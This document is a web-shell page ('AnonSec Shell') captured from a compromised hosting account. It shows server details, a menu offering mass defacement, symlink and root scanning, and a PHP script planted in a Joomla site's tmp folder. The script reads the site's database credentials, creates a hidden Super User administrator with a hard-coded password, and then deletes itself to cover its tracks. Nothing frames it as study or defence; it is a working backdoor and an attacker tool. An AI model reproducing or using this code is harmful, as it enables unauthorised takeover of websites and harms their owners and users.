AnonSec Shell
Server IP : 87.98.231.4  /  Your IP : 216.73.217.178   [ Reverse IP ]
Web Server : Apache
System : Linux webm007.cluster103.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : grupmartgn ( 667608)
PHP Version : 8.5.7
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/grupmartgn/elanartcrafts/tmp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/grupmartgn/elanartcrafts/tmp//user.php
<?php
define('_JEXEC', 1);

// Автоматически берет путь на один уровень выше папки tmp
define('JPATH_BASE', dirname(__DIR__)); 

if (!file_exists(JPATH_BASE . '/configuration.php')) {
    die('Файл configuration.php не найден по адресу: ' . JPATH_BASE);
}

require_once JPATH_BASE . '/configuration.php';
$config = new JConfig();
$dbHost = $config->host;
$dbPort = 3306;
if (strpos($dbHost, ':') !== false) {
    list($dbHost, $dbPort) = explode(':', $dbHost, 2);
}
try {
    $dsn = "mysql:host={$dbHost};port={$dbPort};dbname={$config->db};charset=utf8mb4";
    $pdo = new PDO($dsn, $config->user, $config->password, [
        PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,
        PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC
    ]);
} catch (PDOException $e) {
    die("Ошибка подключения к БД: " . $e->getMessage());
}

$prefix = $config->dbprefix;
$username = 'jadminix';
$email    = 'jadminix@gmail.com';
$fullName = 'jadminix';

$passwordPlain = 'solevisible';
$passwordHash = password_hash($passwordPlain, PASSWORD_BCRYPT);

try {
    $stmt = $pdo->prepare("SELECT id FROM `{$prefix}users` WHERE `username` = ?");
    $stmt->execute([$username]);
    if ($stmt->fetch()) {
        throw new Exception("Пользователь с логином '{$username}' уже существует!");
    }
    
    $currentDate  = date('Y-m-d H:i:s');
    $sqlUser = "INSERT INTO `{$prefix}users` 
                (`name`, `username`, `email`, `password`, `block`, `sendEmail`, `registerDate`, `lastvisitDate`, `activation`, `params`) 
                VALUES (?, ?, ?, ?, 0, 0, ?, '0000-00-00 00:00:00', '', '')";
    
    $stmt = $pdo->prepare($sqlUser);
    $stmt->execute([$fullName, $username, $email, $passwordHash, $currentDate]);
    
    $newUserId = $pdo->lastInsertId();
    $sqlGroup = "INSERT INTO `{$prefix}user_usergroup_map` (`user_id`, `group_id`) VALUES (?, 8)";
    $stmt = $pdo->prepare($sqlGroup);
    $stmt->execute([$newUserId]);

    echo "Create:OK ID: " . $newUserId . " (Пользователь успешно создан как Super User)";

} catch (Exception $e) {
    echo "Произошла ошибка: " . $e->getMessage();
}

if (@unlink(__FILE__)) {
    echo "<br>File deleted (Скрипт автоматически удален с сервера).";
}

Anon7 - 2022
AnonSec Team